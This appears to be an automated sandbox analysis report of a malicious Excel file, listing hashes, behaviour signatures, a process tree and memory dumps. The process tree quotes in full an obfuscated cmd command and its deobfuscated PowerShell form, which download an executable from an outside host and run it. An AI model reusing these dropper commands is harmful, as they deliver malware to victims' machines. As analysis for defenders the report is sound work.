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Analysis

  • max time kernel
    24s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    15/08/2024, 02:44

General

  • Target

    2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls

  • Size

    71KB

  • MD5

    0eecd2469bcbffa61fe624d868a5e7d9

  • SHA1

    406737ead14edf10eb951a9eea75c657ab2ec7dd

  • SHA256

    2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65

  • SHA512

    862057f6be783526c3b43fa5db582931bf4e3bd2b57faba929b18ab8b226fd531513a24bb710b7d709368b5287f78f71491e169597c4f0fc8b506d345d028d0b

  • SSDEEP

    1536:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAMvZif71rzVm1jrKSFKp:WkxEtjPOtioVjDGUU1qfDlaGGx+cL+LM

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cedacriall.faith/1aqalpiniahelfuimoksa.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1476
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2692
      • C:\Windows\SysWOW64\cMd.exe
        cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2172
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1764

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1476-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1476-1-0x000000007333D000-0x0000000073348000-memory.dmp

      Filesize

      44KB

    • memory/1476-6-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-5-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-4-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-3-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-19-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-242-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-64-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-63-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-62-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-61-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-59-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-58-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-57-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-56-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-55-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-54-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-53-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-52-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-50-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-49-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-48-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-47-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-46-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-45-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-44-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-43-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-41-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-40-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-39-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-38-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-37-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-36-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-35-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-34-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-33-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-32-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-30-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-29-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-28-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-27-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-26-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-25-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-24-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-23-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-22-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-20-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-18-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-17-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-16-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-15-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-14-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-13-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-12-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-11-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-10-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-9-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-8-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-7-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-2-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-60-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-51-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-42-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-31-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-21-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB

    • memory/1476-245-0x000000007333D000-0x0000000073348000-memory.dmp

      Filesize

      44KB

    • memory/1476-246-0x0000000000670000-0x0000000000770000-memory.dmp

      Filesize

      1024KB